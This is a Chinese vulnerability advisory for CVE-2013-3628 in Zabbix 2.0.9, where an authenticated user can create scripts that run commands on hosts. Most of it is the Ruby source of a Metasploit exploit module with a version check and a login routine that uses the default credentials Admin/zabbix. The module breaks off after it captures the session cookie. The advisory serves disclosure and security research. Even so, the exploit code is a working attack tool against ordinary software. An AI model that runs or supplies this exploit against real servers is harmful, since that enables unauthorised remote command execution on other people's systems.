发布日期：2013-10-30
更新日期：2013-11-02
受影响系统：
ZABBIX ZABBIX v2.0.9
描述：
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BUGTRAQ ID: 63453
CVE(CAN) ID: CVE-2013-3628
ZABBIX是一个CS结构的分布式网络监控系统。
Zabbix 2.0.9及其他版本允许管理员在主机上运行所创建的脚本，经过身份验证的攻击者可利用此漏洞在主机上允许运行恶意脚本。
<*来源：Brandon Perry
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Zabbix Authenticated Remote Command Execution',
'Description' => %q{
ZABBIX allows an administrator to create scripts that will be run on hosts.
An authenticated attacker can create a script containing a payload, then a host
with an IP of 127.0.0.1 and run the abitrary script on the ZABBIX host.
This module was tested againt Zabbix v2.0.9.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' =>
[
['CVE', '2013-3628'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet Python',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Oct 30 2013',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']),
OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/'])
], self.class)
end
def check
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/index.php")
})
if !init or init.code != 200
print_error("Could not connect to server")
return Exploit::CheckCode::Unknown
end
if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/
if $1 >= "2.0.0" and $1 <= "2.0.8"
print_good("Version #{$1} is vulnerable.")
return Exploit::CheckCode::Vulnerable
end
end
return Exploit::CheckCode::Safe
end
def exploit
c = connect
req = c.request_cgi({
'method' => 'POST',
'uri' => '/zabbix/',
'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in'
})
login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"]))
if !login or login.code != 302
fail_with("Login failed")
end
sess = login.headers['Set-Cookie']